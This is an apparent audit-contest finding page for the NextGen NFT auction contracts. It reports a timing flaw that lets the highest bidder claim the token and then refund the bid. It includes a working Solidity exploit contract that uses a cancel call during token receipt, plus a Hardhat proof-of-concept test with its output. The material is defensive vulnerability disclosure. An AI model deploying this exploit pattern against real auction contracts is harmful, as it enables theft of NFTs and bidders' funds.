NextGen - c0pp3rscr3w3r's results

Advanced smart contracts for launching generative art projects on Ethereum.

General Information

Platform: Code4rena

Start Date: 30/10/2023

Pot Size: $49,250 USDC

Total HM: 14

Participants: 243

Period: 14 days

Judge: 0xsomeone

Id: 302

League: ETH

NextGen

Findings Distribution

Researcher Performance

Rank: 219/243

Findings: 1

Award: $0.00

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: smiling_heretic

Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
partial-50
edited-by-warden
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L58 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L125

Vulnerability details

Impact

Highest bidder in Auction can get 100% refund of bid and the NFT token when block.timestamp equals auction end time

Proof of Concept

Create a smart contract with following requirements

Tools Used

Manual analysis

Make the time ranges for cancelAllBids,cancelBid or participateToAuction exclusive

require(msg.value > returnHighestBid(_tokenid) && block.timestamp < minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);

or

require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");

in cancelBid and cancelAllBids

Exploit Contract

attackContract.sol

// SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity ^0.8.0; interface auction { function participateToAuction(uint256 _tokenid) external payable; function claimAuction(uint256 _tokenid) external ; function cancelBid(uint256 _tokenid, uint256 index) external; function cancelAllBids(uint256 _tokenid) external; } interface minter { function getAuctionEndTime(uint256 _tokenId) external view returns(uint); } contract attackAuction { auction auc; minter min; address owner; // uint256 tokenid; constructor(){ owner = msg.sender; } function attackit(auction _auc, minter _min, uint256 _tokenid ) public payable { auc = _auc; min = _min; // tokenid = _tokenid; //check block timestamp with auctionEndTime require(block.timestamp == _min.getAuctionEndTime(_tokenid) , " block timestamp not ideal "); //initiate participate to Auction _auc.participateToAuction{value: msg.value}(_tokenid); //Call claim Auction _auc.claimAuction(_tokenid); } function onERC721Received( address , address , uint256 tokenId, bytes calldata ) external returns (bytes4) { //call cancel Bid to recover msg.value auc.cancelAllBids(tokenId); return this.onERC721Received.selector; } fallback() external payable //get refund { } receive() payable external //get refund { } function destroy() public { selfdestruct(payable(owner)); } }

Proof of concept test script

AuctionExploitPOC.js

const { loadFixture, setBalance, time } = require("@nomicfoundation/hardhat-toolbox/network-helpers") const { expect } = require("chai") const { ethers } = require("hardhat") const fixturesDeployment = require("../scripts/fixturesDeployment.js") let signers let contracts describe("NextGen Tests", function () { before(async function () { ;({ signers, contracts } = await loadFixture(fixturesDeployment)) let auction let signerList = await ethers.getSigners() user1 = signerList[4] user2 = signerList[5] auctioneer = signerList[6] artist1 = signerList[7] artist2 = signerList[8] attacker = signerList[9] }) context("Verify Fixture", () => { it("Contracts are deployed", async function () { expect(await contracts.hhAdmin.getAddress()).to.not.equal( ethers.ZeroAddress, ) expect(await contracts.hhCore.getAddress()).to.not.equal( ethers.ZeroAddress, ) expect(await contracts.hhDelegation.getAddress()).to.not.equal( ethers.ZeroAddress, ) expect(await contracts.hhMinter.getAddress()).to.not.equal( ethers.ZeroAddress, ) expect(await contracts.hhRandomizer.getAddress()).to.not.equal( ethers.ZeroAddress, ) expect(await contracts.hhRandoms.getAddress()).to.not.equal( ethers.ZeroAddress, ) }) }) context("Create a collection & Set Data", () => { it("#createCollection1", async function () { await contracts.hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ) }) it("#registerCollectionAdmin", async function () { await contracts.hhAdmin.registerCollectionAdmin( 1, artist1, //we register artist as collection admin true, ) }) it("#setCollectionData1", async function () { await contracts.hhCore.connect(artist1).setCollectionData( 1, // _collectionID artist1, // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0, // _setFinalSupplyTimeAfterMint ) }) }) context("Set Minter Contract", () => { it("#setMinterContract", async function () { await contracts.hhCore.addMinterContract( contracts.hhMinter, ) }) }) context("Set Randomizer Contract", () => { it("#setRandomizerContract1", async function () { await contracts.hhCore.addRandomizer( 1, contracts.hhRandomizer, ) }) }) context("Set Collection Costs and Phases", () => { it("#setCollectionCost1", async function () { await contracts.hhMinter.setCollectionCosts( 1, // _collectionID 10n**18n, // _collectionMintCost 10n**18n, // _collectionEndMintCost 0, // _rate 1, // _timePeriod 1, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) }) it("#setCollectionPhases1", async function () { await contracts.hhMinter.setCollectionPhases( 1, // _collectionID 1696931278, // _allowlistStartTime 1696931278, // _allowlistEndTime 1696931278, // _publicStartTime 1796931278, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot ) const provider = ethers.getDefaultProvider(); console.log("Contract's balance is ", await provider.getBalance(await contracts.hhMinter.getAddress())) ; }) }) context("Minting", () => { it("#mintNFTUser1", async function () { await contracts.hhMinter.connect(user1).mint( 1, // _collectionID 1, // _numberOfTokens 0, // _maxAllowance '{"tdh": "100"}', // _tokenData user1, // _mintTo ["0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870"], // _merkleRoot user1, // _delegator 2, //_varg0 { value: 10n**18n } ) }) it("#mintNFTUser2", async function () { await contracts.hhMinter.connect(user2).mint( 1, // _collectionID 1, // _numberOfTokens 0, // _maxAllowance '{"tdh": "100"}', // _tokenData user2, // _mintTo ["0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870"], // _merkleRoot user2, // _delegator 2, //_varg0 { value: 10n**18n } ) }) it("#ShouldOwn", async function() { tokenIs = await contracts.hhCore.tokenOfOwnerByIndex(user1, 0) console.log("user 1 owns token of index ", tokenIs) tokenIs2 = await contracts.hhCore.tokenOfOwnerByIndex(user2, 0) console.log("user 2 owns token of index ", tokenIs2) }) }) context("Auction", () => { it("#StartAuction", async function (){ let timeStamp; const auctionF = await ethers.getContractFactory("auctionDemo") auction = await auctionF.deploy( await contracts.hhMinter.getAddress(), await contracts.hhCore.getAddress(), await contracts.hhAdmin.getAddress() ) //set Approval to operator from auctioneer await contracts.hhCore.connect(auctioneer).setApprovalForAll( await auction.getAddress(), true ) //Auction end time for demonstration purpose timeStamp = await time.latest() + 60*4 ; //owner starts auction await contracts.hhMinter.mintAndAuction( auctioneer.address, //recipient "", //token data 0, //salt 1, //collection timeStamp, //timestamp ) tokenIs = await contracts.hhCore.tokenOfOwnerByIndex(auctioneer, 0) //user 1 participation await auction.connect(user1).participateToAuction(tokenIs, { value: 10n**17n }); console.log("[BID] user 1 is ", 10n**17n); //user 2 participation await auction.connect(user2).participateToAuction(tokenIs, { value: 3n*10n**17n }); console.log("[BID] user 2 is ", 3n*10n**17n); }) it("#ContractBalance", async function() { await setBalance(signers.owner.address, 5n*10n**17n) await setBalance(attacker.address, 5n*10n**17n) let balance = await ethers.provider.getBalance(await contracts.hhMinter.getAddress()); let Attbalance = await ethers.provider.getBalance(attacker.address); console.log("Contract's balance after sales is ", balance ) ; console.log("Attacker's balance after sales is ", Attbalance ) ; }) it("#GetTokenAtAuctionEndTimeAndCancelBid", async function (){ let _tokenId = await contracts.hhCore.tokenOfOwnerByIndex(auctioneer, 0) let timeStamp = await contracts.hhMinter.getAuctionEndTime(_tokenId); console.log("[BID] attacker bid at auction End time is ", 5n*10n**17n) const attackF = await ethers.getContractFactory("attackAuction", attacker); const attack = await attackF.deploy() await time.setNextBlockTimestamp(timeStamp); //miner can influence timestamp or by chance await attack.connect(attacker).attackit( await auction.getAddress(), await contracts.hhMinter.getAddress(), tokenIs, {value: 4n*10n**17n} ) await attack.destroy(); let balance = await ethers.provider.getBalance(await contracts.hhMinter.getAddress()); let Attbalance = await ethers.provider.getBalance(attacker.address); console.log("Owner of token ", tokenIs, " is attackerContract ? ", await attack.getAddress() == await contracts.hhCore.ownerOf(tokenIs) ); console.log("Contract's balance after attack is ", balance ) ; console.log("Attacker's balance after attack is ", Attbalance ) ; }) }) }) // Contract's balance is 6000696194600314680n // ✔ #setCollectionPhases1 // Minting // ✔ #mintNFTUser1 // ✔ #mintNFTUser2 // user 1 owns token of index 10000000000n // user 2 owns token of index 10000000001n // ✔ #ShouldOwn // Auction // [BID] user 1 is 100000000000000000n // [BID] user 2 is 300000000000000000n // ✔ #StartAuction // Contract's balance after sales is 2000000000000000000n // Attacker's balance after sales is 500000000000000000n // ✔ #ContractBalance // [BID] attacker bid at auction End time is 500000000000000000n // Owner of token 10000000002n is attackerContract ? true // Contract's balance after attack is 2000000000000000000n // Attacker's balance after attack is 499259989177829334n // ✔ #GetTokenAtAuctionEndTimeAndCancelBid

Assessed type

Reentrancy

#0 - c4-pre-sort

2023-11-22T00:11:45Z

141345 marked the issue as duplicate of #962

#1 - c4-judge

2023-12-04T21:42:24Z

alex-ppg marked the issue as duplicate of #1323

#2 - c4-judge

2023-12-08T17:45:38Z

alex-ppg marked the issue as partial-50

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter